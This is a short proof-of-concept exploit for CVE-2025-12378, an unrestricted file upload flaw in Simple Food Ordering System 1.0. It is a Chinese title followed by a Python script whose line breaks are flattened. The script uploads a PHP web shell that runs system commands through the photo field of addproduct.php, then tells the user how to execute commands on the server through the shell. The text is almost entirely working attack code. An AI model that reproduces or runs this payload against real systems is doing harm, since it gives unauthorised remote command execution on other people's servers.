CVE-2025-12378 Simple Food Ordering System 1.0 任意文件上传漏洞

import requests import sys # CVE-2025-12378 PoC - Simple Food Ordering System 1.0 Unrestricted File Upload # Target: /addproduct.php # Vulnerability: Unrestricted upload via photo parameter def upload_shell(target_url, file_path='shell.php'): """ Upload malicious PHP shell to target server """ upload_url = f"{target_url.rstrip('/')}/addproduct.php" # Prepare malicious PHP shell shell_content = '<?php system($_GET["cmd"]); ?>' # Create multipart form data files = { 'photo': (file_path, shell_content, 'application/x-php') } # Additional required fields (may vary) data = { 'name': 'Malicious Product', 'price': '999', 'category': '1', 'description': 'Injected via CVE-2025-12378' } try: print(f"[*] Uploading shell to {upload_url}...") response = requests.post(upload_url, files=files, data=data, timeout=10) if response.status_code == 200: print("[+] File upload request sent successfully") print("[*] Check if shell was uploaded to /uploads/ or similar directory") print("[*] Access shell: http://target/uploads/shell.php?cmd=whoami") else: print(f"[-] Upload failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12378.py <target_url>") print("Example: python cve-2025-12378.py http://localhost/food-ordering") sys.exit(1) target = sys.argv[1] upload_shell(target)